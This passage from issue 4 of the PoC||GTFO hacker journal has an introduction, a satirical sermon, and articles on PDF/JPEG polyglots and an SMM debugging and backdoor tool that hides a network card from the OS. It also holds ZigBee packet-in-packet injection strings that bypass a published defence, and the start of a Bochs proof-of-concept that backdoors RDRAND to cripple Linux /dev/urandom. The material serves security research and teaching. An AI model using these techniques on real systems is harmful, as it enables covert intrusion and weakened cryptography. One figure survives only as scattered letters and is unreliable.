“Manul Laphroaig!”, it becomes a valid PNG file. Treated as single-channel raw audio, 16-bit signed little-endian
integer, at a sample rate of 22,050 Hz, it contains a 2400 baud AFSK transmission.
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1 Call to Worship
Neighbors, please join me in reading this fourth issue of the International Journal of Proof of Concept or Get
the Fuck Out, a friendly little collection of articles for ladies and gentlemen of distinguished ability and taste
in the field of software exploitation and the worship of weird machines. If you are missing the first three
issues, we the editors suggest pirating them from the usual locations, or on paper from a neighbor who picked
up a copy of the first in Vegas, the second in São Paulo, or the third in Hamburg. This fourth issue is an
epistle to the good neighbors at the Troopers Conference in Heidelberg and the neighboring RaumZeitLabor
hackerspace in Mannheim.



We begin with Section 2, in which our own Rt. Revd. Dr. Pastor Manul Laphroaig condemns the New
Math and its modern equivalents. The only way one can truly learn how a computer works is by smashing
these idols down to bits and bytes.



Like our last two issues, this one is a polyglot. It can be interpreted as a PDF, a ZIP, or a JPEG. In
Section 3, Ange Albertini demonstrates how the PDF and JPEG portions work. Readers will be pleased to
discover that renaming pocorgtfo03.pdf to pocorgtfo03.jpg is all that is required to turn the entire issue
into one big cat picture!



Joshua Wise and Jacob Potter share their own System Management Mode backdoor in Section 4. As this
is a journal that focuses on nifty tricks rather than full implementation, these neighbors share their tricks
for using SMM to hide PCI devices from the operating system and to build a GDB stub that runs within
SMM despite certain limitations of the IA32 architecture.



In Section 5, Travis Goodspeed shares with us three mitigation bypasses for a PIP defense that was
published at Wireless Days. The first two aren’t terribly clever, but the third is a whopper. The attacker
can bypass the defense’s filter by sending symbols that become the intended message when left-shifted by
one eighth of a nybble. What the hell is an eighth of a nybble, you ask? RTFP to find out.



Conventional wisdom says that by XORing a bad RNG with a good one, the worst-case result will be as
good as the better source of entropy. In Section 6, Taylor Hornby presents a nifty little PoC for Bochs that
hooks the RDRAND instruction in order to backdoor /dev/urandom on Linux 3.12.8. It works by observing
the stack in order to cancel out the other sources of entropy.



We all know that the Internet was invented for porn, but Assaf Nativ shows us in Section 7 how to
patch a feature phone in order to create a Kosher Phone that can’t be used to access porn. Along the way,
he’ll teach you a thing or two about how to bypass the minimal protections of Nokia 1208 feature phone’s
firmware.



In the last issue’s CFP, we suggested that someone might like to make Dakarand as a 512-byte X86 boot
sector. Juhani Haverinen, Owen Shepherd, and Shikhin Sethi from FreeNode’s #osdev-offtopic channel did
this, but they had too much room left over, so they added a complete implementation of Tetris. In Section 8
you can learn how they did it, but patching that boot sector to double as a PDF header is left as an exercise
for the loyal reader.



Section 9 presents some nifty research by Josh Thomas and Nathan Keltner into Qualcomm SoC security.
Specifically, they’ve figured out how to explore undocumented eFuse settings, which can serve as a basis for
further understanding of Secure Boot 3.0 and other pieces of the secure boot sequence.



In Section 10, Frederik Braun presents a nifty obfuscation trick for Python. It seems that Rot-13 is a
valid character encoding! Stranger encodings, such as compressed ones, might also be possible.



Neighbor Albertini wasn’t content to merely do one crazy concoction for this file. If you unzip the PDF,
you will find a Python script that encrypts the entire file with AES to produce a PNG file! For the full story,
see the article he wrote with Jean-Philippe Aumasson in Section 11.



Finally, in Section 12, we do what churches do best and pass around the donation plate. Please contribute
any nifty proofs of concept so that the rest of us can be enlightened!
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2 Greybeard’s Luck



a sermon by the Rt. Revd. Dr. Pastor Manul Laphroaig



My first computer was not a computer; rather, it was a “programmable micro-
calculator.” By the look of it, it was macro rather than micro, and could double as
a half-brick in times of need. It had to be plugged in pretty much most of the time
(these days, I have a phone like that), and any and all programs had to be punched
in every time it lost power for some reason. It sure sounds like five miles uphill in
the snow, both ways, but in fact it was the most wondrous thing ever.



The programmable part was a stack machine with a few additional named mem-
ory registers. Instructions were punched on the keyboard; besides the stack reverse
Polish arithmetic, branches, and a couple of conditionals, there was a command for
pushing a keyed-in number on top of the stack. That was my first read-eval-print
loop, and it was amazing. Days were spent entering some numbers, hitting go, ob-
serving the output, and repeating over and over. (A trip from the Moon base back to
Earth took almost a year, piece by piece. A sci-fi monthly published a program for
each trajectory, from lift-off to refueling at a Lagrange point, and finally atmospheric
braking and the perilous final landing on good old Earth.)



You see, I understood everything about that calculator: the stack, the stop-and-
wait for the input, reading and writing registers (that is, pushing the numbers in
them on top of the stack or copying the top of the stack into them), the branches and
the loops. There was never a question how any operation worked: I always knew what
registers were involved, and had to know this in order to program anything at all.
No detail of the programming model could be left as “magic” to “understand later”;
no vaguely understood part could be left glossed over to “do real work now.” There
were no magical incantations to cut-and-paste to make something work without
understanding it.



I did not recognize how lucky I had been until, many years later, I decided to take up “real” industrial
programming, which back then meant C++. Suddenly my head was full of Inheritance, Overloading, En-
capsulation, Polymorphism, and suchlike things, all with capital letters. I learned their definitions, pasted
large blocks of code, and enthusiastically puzzled over tricky questions from these Grand Principles of Object
Oriented Programming such as, “if a virtual function is also overloaded, which version will be called?” In
retrospect, my time would have been better spent researching whether Superman would win over Batman.



At about the same time I learned about New Math. It was born of the original Sputnik Moment and
was the grand idea to reform the teaching of mathematics to school children so that they would make better
Sputniks, and faster. The earth-bound kind of arithmetic that was useful in a shop class would be replaced
by the deeper, space-age kind.



That Sputnik must have carried a psychotronic weapon. There is no other sane explanation for why
the schooling of American engineers—those who launched the same kind of satellite just four months later—
suddenly wasn’t deemed good enough. A whole industry arose to print new, more expensive textbooks, with
Ph.D.s in space-age math education to match; teachers were told to abandon the old ways and teach to the
new standards. Perfectly numerate parents could no longer comprehend the point of grade school arithmetic
homework.



Suddenly, adding numbers mattered less than knowing that Addition was Commutative; as a result,
school children learned about Commutativity but could no longer actually add numbers. They couldn’t
add numbers in their heads or on paper, let alone multiply them. Shop class became the only place in
school where one could actually learn about fractions—not that they were Rational Numbers, but how to
actually measure things with them, and why. College students thought an algebraic equation was harder if
it contained fractions.



Knowledge of math was measured by remembering special words, rather than a show of skill. You see, a
skill always involves a lot of tricks; they may be nifty, but they are also too technical and who has time for
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that in this space age? Important Concepts, on the other hand, are nicely general, and you can have middle
schoolers saying things straight out of the graduate program within a few weeks! Is that not Progress?
Indeed, only one other Wonder of Progress can stand close to New Math: the way that children are locked in
a room with a literate adult for most of the day, for years, and still emerge unable to read. People couldn’t
pull that off in the Dark Ages; this takes Science to organize.



What came after New Math was even worse. Some of the school children who could barely count but
knew the Important Concepts became teachers and teachers of teachers. Others realized that despite all the
Big Ideas the skill of math was vanishing. They saw the fruits of Big Idea pushers dismissing drill; they
concluded that drill was the key to the skill. So subsequent reforms barreled between repetitive, senseless rote
and more Capital Letter Words. These days it seems that Discovery, Higher Order, Critical Thinking are in
fashion, which means children must waste days of school time “discovering” Pi and suchlike, working through
countless vaguely defined steps, only to memorize whatever the teacher would tell them these activities meant
in the end. Now we have the worst of all: wasted time and boredom without any productive skill actually
learned. The only thing than can be learned in such a class is helplessness and putting up with pretentious
waste of time, or worse!, mistaking this for actual math.



I was beginning to feel pretty helpless in the world of C++ Important Concepts of Object Oriented
Programming. I was yearning for my old calculator, where I did not have to learn a magical order of mystery
buttons to press in order to get the simplest program to work. Having had a book fetish since childhood, I
hoped for a while that I just hadn’t found the right one to Unleash or Dummify myself in 21 Days. I was
like a school child who could hardly suspect that the latest textbook with brightly colored pictures is full of
vague unmathematical crap that would horrify actual mathematicians. (More likely, such mathematicians
of ages past would run the textbook authors through in a proper duel.)



Then one day that world was blown to bits. Polymorphism and Inheritance blew up when I saw a vtable.
After that, function name mangling was a brief mop-up operation that took care of Overloading. Suddenly,
the Superman-vs-Batman contests and other C++ language-lawyer interview fare became trivial. It was
just as simple as my calculator; in fact, it was simpler because it did not have the complexity of managing
a tiny amount of memory.



There is an old name for what people do with Big Ideas and Important Concepts that are so important
that you cannot hope to have their internal workings understood without special training by special people.
It is called worshiping idols, and what we ought to do with idols is to smash them to bits.



And if the bits do not make sense, then the whole of a Most Modern Capitalized Fashion does not make
sense, and the special people are merely priests promising that supplicating the idol will improve your affairs.
Not that anything is wrong with priests, but idols teach no skills, and if your trust is in your skill, then you
should seek a different temple and a different augur. Or, better yet, build your own damned bird-feeder!



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



Verily I say to you that when they keep uttering some words in such a way that you hear Capital Letters,
look ’em in the eye and ask ’em: “how does this work?” Also remember that “I don’t really know” is an
acceptable answer, and the one who gives it is your potential ally.



I was brought to a place where they worshiped idols called Commutativity and Associativity, or else
Inheritance and Polymorphism, and where they made sacrifices of their children’s time to these idols. They
made many useless manuscripts that would break a mule’s back but which these children had to carry to
and from school. And making a whip of cords, I drove them all out of the temple, screaming “This is a waste
of time and paper! Trees will grow back hundredfold if you let them alone, for nature cannot be screwed,
but who will restore to the old the lost time of their youth?”



They taught, “Lo this is Commutative and Higher Order, or else this is a Reference, and this is a Pointer.”
And when I asked them, “How do you add numbers, and how does your linker work?”, they demurred and
spoke of Abstraction and Patterns. Verily I tell you, if you don’t know how to do your Abstractions on
paper and what they compile into, you are worshiping idols and wasting your time. And if you teach that
to children, you are sacrificing their time and their minds to your graven images. Repent and smash your
graven idols to bits, and teach your children about the smashing and the bits and the bytes instead, for these
are the only skills that matter!
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Seriously, try to do the math.
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3 This PDF is a JPEG; or,
This Proof of Concept is a Picture of Cats



by Ange Albertini



In this short little article, I’ll teach you how to combine a PDF and a JPEG into a single polyglot file
that is legal and meaningful in both languages.



The JPEG format requires its Start Of Image signature, FF D8, at offset 0x00, exactly. The PDF format
officially requires its %PDF-1.x signature to be at offset 0x00, but in practice most interpreters only require
its presence within the first 1,024 bytes of the files. Some readers, such as Sumatra, don’t require the header
at all.



In previous issues of this journal, you saw how a neighbor can combine a PDF document with a ZIP
archive (PoC‖GTFO 01:05) or a Master Boot Record (PoC‖GTFO 02:08), so you should already know the
conditions to make a dummy PDF object. The trick is to fit a fake obj stream in the first 1024 bytes
containing whatever your second file demands, then to follow that obj stream with the contents of your
real PDF.



To make these two formats play well together, we’ll make our first insert object stream clause of the
PDF contain a JPEG comment, which will usually start at offset 0x18. Our PDF comment will cause the
PDF interpreter ignore the remaining JPEG data, and the actual PDF content can continue afterward.



Unfortunately, since version 10.1.5, Adobe Reader rejects PDF files that start like a JPEG file ought to.
It’s not clear exactly why, but as all official segments’ markers start with FF, this is what Adobe Reader
checks to identify a JPEG file. Adobe PDF Reader will reject anything that begins with FF D8 FF as a
JPEG.



However, a large number of JPEG files start with an APP0 segment containing a JFIF signature. This
begins with an FF E0 marker, so most JPEG viewers don’t mind this in place of the expected APP0 marker.
Just changing that FF E0 marker at offset 0x02 to anything else will give will give us a supported JPEG
and a PDF that our readers can enjoy with Adobe’s software.



Some picky JPEG viewers, such as those from Apple, might still require the full sequence FF D8 FF E0
to be patched manually at the top of pocorgtfo03.pdf to enjoy our cats, Calisson and Sarkozette.
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Offset 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ASCII
0000 ff d8 00 00 00 10 4a 46 49 46 00 01 01 01 00 c7 ......JFIF......
0010 00 c7 00 00 ff fe 00 22 0a 25 50 44 46 2d 31 2e .......".%PDF-1.
0020 35 0a 39 39 39 20 30 20 6f 62 6a 0a 3c 3c 3e 3e 5.999 0 obj.<<>>
0030 0a 73 74 72 65 61 6d 0a ff db 00 43 00 03 02 02 .stream....C....
0040 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 ................
0050 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d ................
0060 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 ................
0070 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 ................
0080 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d C...............
0090 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ................
00a0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ................
00b0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ................
00c0 14 14 ff c2 00 11 08 03 78 06 b3 03 01 11 00 02 ........x.......
00d0 11 01 03 11 01 ff c4 00 1c 00 00 03 01 00 03 01 ................
00e0 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ................
00f0 06 07 08 ff c4 00 1a 01 01 01 01 01 01 01 01 00 ................
0100 00 00 00 00 00 00 00 00 00 01 02 04 03 05 06 ff ................
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4 NetWatch:
System Management Mode is not just for Governments.



by Joshua Wise and Jacob Potter



Neighbors, by now you have heard of a well known state’s ex-
plorations into exciting and exotic malware. The astute amongst
you may have had your ears perk up upon hearing of SCHOOL-
MONTANA, a System Management Mode rootkit. You might
wonder, how can I get some of that SMM goodness for myself?



Before we dive too deeply, we’ll take a moment to step back
and remind our neighbors of the many wonders of System Man-
agement Mode. Our friends at Intel bestowed SMM unto us
with the i386SL, a low-power variant of the ‘386. When they
realized that it would become necessary to provide power man-
agement features without modifying existing operating systems,
they added a special mode in which execution could be trans-
parently vectored away from whatever code be running at the
time in response to certain events. For instance, vendors could
use SMM to dynamically power sound hardware up and down
in response to access attempts, to control backlights in response
to keypresses, or even to suspend the system!



On modern machines, SMM emulates classic PS/2 keyboards
before USB drivers have been loaded. It also manages BIOS up-
dates, and at times it is used to work around defects in the hard-
ware that Intel has given us. SMM is also intricately threaded
into ACPI, but that’s beyond the scope of this little article.



All of this sounds appetizing to the neighbor who hungers for deeper control over their computer. Beyond
the intended uses of SMM, what else can be done with the building blocks? Around the same time as the
well known state built SCHOOLMONTANA and friends, your authors built a friendlier tool, NetWatch. We
bill NetWatch as a sort of lights-out box for System Management Mode. The theory of operation is that
by stealing cycles from the host process and taking control over a secondary NIC, NetWatch can provide
a VNC server into a live machine. With additional care, it can also behave as a GDB server, allowing for
remote debugging of the host operating system.



We invite our neighbors to explore our work in more detail, and build on it should you choose to. It runs
on older hardware, the Intel ICH2 platform to be specific, but porting it to newer hardware should be easy
if that hardware is amenable to loading foreign SMM code or if an SMM vulnerability is available. Like all
good tools in this modern era, it is available on GitHub.1



We take the remainder of this space to discuss some of the clever tricks that were necessary to make
NetWatch work.



4.1 A thief on the PCI bus.



To be able to communicate with the outside world, NetWatch needs a network card of its own. One problem
with such a concept is that the OS might want to have a network card, too; and, indeed, at boot time, the
OS may steal the NIC from however NetWatch has programmed it. We employ a particularly inelegant hack
to keep this from happening.



The obvious thing to do would be to intercept PCI configuration register accesses so that the OS would
be unable to even prove that the network card exists! Unfortunately, though there are many things that a
System Management Interrupt can be configured to trap on, PCI config space access is not a supported trap



1https://github.com/jwise/netwatch
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on ICH2. ICH2 does provide for port I/O traps on the Southbridge, but PCI peripherals are attached to the
Northbridge on that generation. This means that directly intercepting and emulating the PCI configuration
phase won’t work.



We instead go and continuously “bother” PCI peripherals that we wish to disturb. Every time we trap
into system management mode—which we have configured to be once every 64ms—we write garbage values
over the top of the card’s base address registers. This effectively prevents Linux from configuring the card.
When Linux attempts to do initial detection of the card, it times out waiting for various resources on the
(now-bothered) card, and does not succeed in configuring it.



Neighbors who have ideas for more effectively hiding a PCI peripheral from a host are encouraged to
share their PoC with us.



4.2 Single-stepping without hardware breakpoints.
In a GDB slave, one of the core operations is to single-step. Normally, single-step is implemented using the
TF bit in the FLAGS/EFLAGS/RFLAGS register, which causes a debug exception at the end of the next
instruction after it is set. The kernel can set TF as part of an IRET, which causes the CPU to execute
one instruction of the program being debugged and then switch back into the kernel. Unfortunately Intel,
in all their wisdom, neglected to provide an analog of this feature for SMM. When NetWatch’s GDB slave
receives a single-step command, it needs to return from SMM and arrange for the CPU to execute exactly
one instruction before trapping back in to SMM. If Intel provides no bit for this, how can we accomplish it?



Recall that the easiest way to enter SMM is with an I/O port trap. On many machines, port 0xB2 is
used for this purpose. You may find that MSR SMI_ON_IO_TRAP_0 (0xC001_0050) has already been
suitably set. NetWatch implements single-step by reusing the standard single-step exception mechanism
chained to an I/O port trap.



Suppose the system was executing a program in user-space when NetWatch stopped it. When we receive
a single step command, we must insert a soft breakpoint into the hard breakpoint handler. This takes the
form of an OUT instruction that we can trap into the #DB handler that we otherwise couldn’t trap.



• Track down the location of the IDT and the target of the #DB exception handler.



• Replace the first two bytes of that handler with E6 B2, “out %al, $0xb2”



• Save the %cs and %ss descriptor caches from the SMM saved state area into reserved spots in SMRAM.



• Return from SMM into the running system.



Now that SMM has ceded control back to the regular system, the following will happen.



• The system executes one instruction of the program being debugged.



• A #DB exception is triggered.



• If the system was previously in Ring 3, it executes a mode switch into Ring 0 and switches to the
kernel stack. Then it saves a trap frame and begins executing the #DB handler.



• The #DB handler has been replaced with out %al, $0xb2.



Finally, the OUT instruction triggers a System Management Interrupt into our SMM toolkit.



• The SMI handler undoes the effect of the exception that just happened: it restores RIP, CS, RFLAGS,
RSP, and SS from the stack, and additionally restores the descriptor caches from their saved copy in
SMRAM. It also replaces the first two bytes of the #DB handler.



• NetWatch reports the new state of the system to the debugger. At this point, a single X86 instruction
step has been executed outside of SMM mode.
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4.3 Places to go from here.
NetWatch was written as a curiosity, but having a framework to explore System Management Mode is
damned valuable. Those with well-woven hats will also enjoy this opportunity to disassemble SMM firmware
on their own systems. SMM has wondrous secrets hidden within it, and it is up to you to discover them!



The authors offer the finest of greets to Dr. David A. Eckhardt and to Tim Hockin for their valuable
guidance in the creation of NetWatch.



12











..



.



.



..



A



.



B



.



C



.



D



.



E



.



F



.



G



.



H



.



I



.



J



.



K



.



L



.M .



N



.



O



.



P



.



Q



.



R



.



S



.



T



.



U



.



V



.



W



.



X



.



Y



. Z.



.



..



А



.



Б



.



Ц



.



Д



.



Е



.



Ф



.



Г



.



Ч



.



И



.



Й



.



К



.



Л



.М .



Н



.



О



.



П



.



Я



.



Р



.



С



.



Т



.



У



.



В



.



Ш



.



Х



.



Ы



. З.



..



T



.



h



.



i



.



s



..



i



.



s



..



p



.



l



.



a



.



i



.



n



.



t



.



e



.



x



.



t



.



:



.



T



.



h



.



i



.



s



..



m



.



i



.



g



.



h



.



t



..



a



.



s



..



w



.



e



.



l



.



l



..



b



.



e



.



:



.



R



.



t



.



.



..



R



.



v



.



d



.



.



..



D



.



r



.



.



..



P



.



a



.



s



.



t



.



o



.



r



..



M



.



a



.



n



.



u



.



l



..



L



.



a



.



p



.



h



.



r



.



o



.



a



.



i



. g.



'



.



s



.



T



.



o



.



t



.



a



.



l



.



l



.



y



..



U



.



s



.



e



.



l



.



e



.



s



.



s



..



D



.



e



.



c



.



o



.



d



.



e



.



r



..



R



. i. n.



g



.



Д



.



р



.



и



.



н



.



к



..



М



.



о



.



р



.



е



..



О



.



в



.



а



.



л



.



т



.



и



.



н



.



е



.



!



Hey kids!
Xerox this page and cut out the crypto wheel.



You can write your own secret messages that only idiots can’t read!
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Hey kids!
Xerox this page and cut the paper strips apart.



You can write your own odd-alignment packet-in-packet injection strings!
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5 An Advanced Mitigation Bypass for Packet-in-Packet; or,
I’m burning 0day to use the phrase ‘eighth of a nybble’ in print.



by Travis Goodspeed
continuing work begun in collaboration with the Dartmouth Scooby Crew



Howdy y’all,



This short little article is a follow-up to my work on 802.15.4 packet-in-packet attacks, as published at
Usenix WOOT 2011. In this article, I’ll show how to craft PIP exploits that avoid the defense mechanisms
introduced by the fine folks at Carleton University in Ontario.



As you may recall, the simple form of the packet-in-packet attack works by including the symbols that
make up a Layer 1 packet at Layer 7. Normally, the interior bytes of a packet are escaped by the outer
packet’s header, but packet collisions sometimes destroy that header. However, collisions tend to be short
and so leave the interior packet intact. On a busy band like 2.4GHz, this happens often enough that it can
be used reliably to inject packets in a remote network.



At Wireless Days 2012, Biswas and company released a short paper entitled A Lightweight Defence
against the Packet in Packet Attack in ZigBee Networks. Their trick is to use bit-stuffing of a sort to prevent
control information from appearing within the payload. In particular, whenever they see four contiguous 00
symbols, they stuff an extra FF before the next symbol in order to ensure that the Zigbee packet’s preamble
and Start of Frame Delimiter (also called a Sync) are never found back-to-back inside of a transmitted packet.



So if the attacker injects 00 00 00 00 A7 ... as in the original WOOT paper, Biswas’ mitigation would
send 00 00 00 00 FF A7 ... through the air, preventing a packet-in-packet injection. The receiving unit’s
networking stack would then transform this back to the original form, so software at higher layers could be
none-the-wiser.



One simple bypass is to realize that the receiving radio may not in fact need four bytes of preamble. An
upcoming tech report2 from Dartmouth shows that the Telos B does not require more than one preamble
byte, so 00 00 A7 ... would successfully bypass Biswas’ defense.



Another way to bypass this defense is to realize that 802.15.4 symbols are four bits wide, so you can
abuse nybble alignment to sneak past Biswas’ encoder. In this case, the attacker would send something like
F0 00 00 00 0A 7..., allowing for eight nybbles, which are four misaligned bytes, of zeroes to be sent in a
row without tripping the escaping mechanism. When the outer header is lost, the receiver will automatically
re-align the interior packet.



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



But those are just bugs, easily identified and easily patched. Let’s take a look at a full and proper
bypass, one that’s dignified and pretty damned difficult to anticipate. You see, byte boundaries in the
symbol stream are just an accidental abstraction that doesn’t really exist in the deepest physical layers, and
they are not the only abstraction the hardware ignores. By finding and violating these abstractions—while
retaining compatibility with the hardware receiver!—we can perform a packet-in-packet injection without
getting caught by the filter.



You’ll recall that I told you 802.15.4 symbols were nybble-sized. That’s almost true, but strictly speaking,
it’s a comforting lie told to children. The truth is that there’s a lower layer, where each nybble of the message
is sent as 32 ones and zeroes, which are called ‘chips’ to distinguish them from higher-layer bits.



2Fingerprinting IEEE 802.15.4 Devices by Ira Ray Jenkins and the Dartmouth Scooby Crew, TR2014-746
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The symbols and chip sequences are defined like this in the 802.15.4 standard. As each chip sequence has
a respectably large Hamming distance from the others, an error-correcting symbol matcher on the receiving
end can find the closest match to a symbol that arrives damaged.3 This fix is absolutely transparent—by
design—to all upper layers, starting with the symbol layer where SFD is matched to determine where a
packet starts.



0 −− 11011001110000110101001000101110
1 −− 11101101100111000011010100100010
2 −− 00101110110110011100001101010010
3 −− 00100010111011011001110000110101
4 −− 01010010001011101101100111000011
5 −− 00110101001000101110110110011100
6 −− 11000011010100100010111011011001
7 −− 10011100001101010010001011101101



8 −− 10001100100101100000011101111011
9 −− 10111000110010010110000001110111
A −− 01111011100011001001011000000111
B −− 01110111101110001100100101100000
C −− 00000111011110111000110010010110
D −− 01100000011101111011100011001001
E −− 10010110000001110111101110001100
F −− 11001001011000000111011110111000



That is, the Preamble of an 802.15.4 packet can be written as either 00 00 00 00 or eight repetitions of
the zero symbol 11011001110000110101001000101110. While Biswas wants to escape any sequences of the
interior symbols, he is actually just filtering at the byte level. Filtering at the symbol level would help, but
even that could be bypassed by misaligned symbols.



“What the hell are misaligned symbols!?” you ask. Read on and I’ll show you how to obfuscate a PIP
attack by sending everything off by an eighth of a nybble.



– — — – — — — — – — – — — — – — – — — – — – – — – — — —
I took the above listing, printed it to paper, and cut the rows apart. Sliding the rows around a bit shows



that the symbols form two rings, in which rotating by an eighth of the length causes one symbol to line up
with another. That is, if the timing is off by an eighth of a nybble, a 0 might be confused for a 1 or a 7.
Two eighths shift of a nybble will produce a 2 or a 6, depending upon the direction.
0 11011001110000110101001000101110 / 10001100100101100000011101111011 8
1 11101101100111000011010100100010 / 10111000110010010110000001110111 9
2 00101110110110011100001101010010 / 01111011100011001001011000000111 A
3 00100010111011011001110000110101 / 01110111101110001100100101100000 B
4 01010010001011101101100111000011 / 00000111011110111000110010010110 C
5 00110101001000101110110110011100 / 01100000011101111011100011001001 D
6 11000011010100100010111011011001 / 10010110000001110111101110001100 E
7 10011100001101010010001011101101 / 11001001011000000111011110111000 F



This technique would work for chipwise translations of any shift, but it just so happens that all translations
occur in four-chip chunks because that’s how the 802.15.4 symbol set was designed. Chip sequences this long
are terribly difficult to work with in binary, and the alignment is convenient, so let’s see them as hex. Just
remember that each of these nybbles is really a chip-nybble, which is one-eighth of a symbol-nybble.



0 D9C3522E
1 ED9C3522
2 2ED9C352
3 22ED9C35
4 522ED9C3
5 3522ED9C
6 C3522ED9
7 9C3522ED



8 8C96077B
9 B8C96077
A 7B8C9607
B 77B8C960
C 077B8C96
D 6077B8C9
E 96077B8C
F C96077B8



So now that we’ve got a denser notation, let’s take a look at the packet header sequence that is blocked
by Biswas, namely, the 4-bytes of zeroes. In this notation, the upper line represents 802.15.4 symbols, while
the lower line shows the 802.15.4 chips, both in hex.



0 0 0 0 0 0 0 0
D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E



As this sequence is forbidden (i.e., will be matched against by Biswas’ bit stuffing trick) at the upper
layers, we’d like to smuggle it through using misaligned symbols. In this case, we’ll send 1 symbols instead



3Note that Hamming-distance might not be the best metric to match the symbol. Other methods, such as finding the longest
stretch of perfectly-matched chips, will still work for the bypass presented in this article.
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of 0 symbols, as shown on the lower half of the following diagram. Note how damned close they are to the
upper half. At most one eighth of any symbol is wrong, and within a stretch of repeated symbols, every chip
is correct.



0 0 0 0 0 0 0 0
D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E D9C3522E



1 1 1 1 1 1 1 1
ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522 ED9C3522



So instead of sending our injection string as 00000000A7, we can move forward or backward one spot in
the ring, sending 11111111B0 or 7777777796 as our packet header and applying the same shift to all the
remaining symbols in the packet.



“But wait!” you might ask, “These symbols aren’t correct! Between 0 and 4 chips of the shifted symbol
fail to match the original.”



The trick here is that the radio receiver must match any incoming chip sequence to some output symbol.
To do this, it takes the most recent 32 chips it received and returns the symbol from the table that has the
least Hamming distance from the received sample.



So when the radio is looking for A7 and sees B0, the error calculation looks a little like this.



BO −− 77B8C960D9C3522E
| | | | | | | | <−−Chips are near ly equal .



A7 −− 7B8C96079C3522ED



For the first symbol, the receiver expects the A symbol as 7B8C9607 but it gets 7B8C960D. Note that
these only differ by the last four chips, and that the Hamming distance between 0111 and 1101 is only two,
so the difference between an A and a misaligned B in this case is only two.



It’s easy to show that the worst off-by-one misalignment would make the Hamming distance differ by at
most four. Comparing this with the distance between the existing symbols, you will see that they are all
much further apart from one other. So we can obfuscate an entire inner packet, letting the receiver and a
bit of radioland magic translate our packet from legal symbols into ones that ought to have been escaped.



Ain’t that nifty?
– — — – — — — — – — – — — — – — – — — – — – – — – — — —



This technique of abusing sub-symbol misalignment to send a corrupted packet-in-packet which is reliably
transformed back into a correct, meaningful packet should be portable to protocols other than 802.15.4.



For example, most Phase Shift Keyed (PSK) protocols can have phase misalignment that causes symbols
to be confused for each other. Frequency Shift Keyed (FSK) protocols can have frequency misalignment
when on neighboring channels, so that sometimes one channel in 2 FSK will see a packet intended for a
neighboring channel, but with all or most of the bits flipped.



One last subject I should touch on is a fancy attempt by Michael Ossmann and Dominic Spill to defend
against packet-in-packet attacks which was presented at Shmoocon 2014 and in a post to the Langsec mailing
list. While they don’t explicitly anticipate the bypass presented in this paper, it’s worth noting that their
example (5,2,2) Isolated Complementary Binary Linear Block Code (ICBLBC) does not seem to be vulnerable
to my advanced bypass technique. Could it be that all such codes are accidentally invulnerable?



Evan Sultanik on the Digital Operatives Blog ported Mike and Dominic’s technique for generating codes
to Microsoft’s Z3 theorem prover and came up with a number of new ICBLBC codes.



With so many to choose from, surely a clever reader could extend Evan’s Z3 code to search just for
those ICBLBC codes which are vulnerable to type confusion with misalignment? I’ll buy a beer for the
first neighbor to demo such a PoC, and another beer for the first neighbor to convincingly extend Mike and
Dominic’s defense to cover misaligned symbols. For inspiration, read about how Barisani and Bianco4 were
able to do packet-in-packet injections by ignoring Layer 1 and injecting at Layer 2.
Cheers from Samland,
—Travis



4Fully Arbitrary 802.3 Packet Injection: Maximizing the Ethernet Attack Surface by Andrea Barisani and Daniele Bianco
at Black Hat 2013
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6 Prototyping an RDRAND Backdoor in Bochs



by Taylor Hornby



What happens to the Linux cryptographic random number generator when we assume Intel’s fancy new
RDRAND instruction is malicious? According to dozens of clueless Slashdot comments, it wouldn’t matter,
because Linux tosses the output of RDRAND into the entropy pool with a bunch of other sources, and those
sources are good enough to stand on their own.



I can’t speak to whether RDRAND is backdoored, but I can—and I do!—say that it can be backdoored.
In the finest tradition of this journal, I will demonstrate a proof of concept backdoor to the RDRAND
instruction on the Bochs emulator that cripples /dev/urandom on recent Linux distributions. Implementing
this same behavior as a microcode update is left as an exercise for clever readers.



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



Let’s download version 3.12.8 of the Linux kernel source code and see how it generates random bytes.
Here’s part of the extract_buf() function in drivers/char/random.c, the file that implements both
/dev/random and /dev/urandom.



static void extract_buf(struct entropy_store *r, __u8 *out){
// ... hash the pool and other stuff ...
/* If we have a architectural hardware random number
* generator, mix that in, too. */



for (i = 0; i < LONGS(EXTRACT_SIZE); i++) {
unsigned long v;
if (!arch_get_random_long(&v))



break;
hash.l[i] ^= v;



}
memcpy(out, &hash, EXTRACT_SIZE);
memset(&hash, 0, sizeof(hash));



}



This function does some tricky SHA1 hashing stuff to the entropy pool, then XORs RDRAND’s output
with the hash before returning it. That arch_get_random_long() call is RDRAND. What this function
returns is what you get when you read from /dev/(u)random.



What could possibly be wrong with this? If the hash is random, then it shouldn’t matter whether
RDRAND output is random or not, since the result will still be random, right?



That’s true in theory, but the hash value is in memory when the RDRAND instruction executes, so
theoretically, it could find it, then return its inverse so the XOR cancels out to ones. Let’s see if we can do
that.



First, let’s look at the X86 disassembly to see what our modified RDRAND instruction would need to
do.



c03a_4c80: 89 d9 mov ecx,ebx
c03a_4c82: b9 00 00 00 00 mov ecx,0x0 ; \__These become
c03a_4c87: 8d 76 00 lea esi,[esi+0x0] ; / "rdrand eax"
c03a_4c8a: 85 c9 test ecx,ecx
c03a_4c8c: 74 09 je c03a4c97
c03a_4c8e: 31 02 xor DWORD PTR [edx],eax
c03a_4c90: 83 c2 04 add edx,0x4
c03a_4c93: 39 f2 cmp edx,esi
c03a_4c95: 75 e9 jne c03a4c80
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That mov ecx, 0, lea esi [esi+0x0] code gets replaced with rdrand eax at runtime by the alterna-
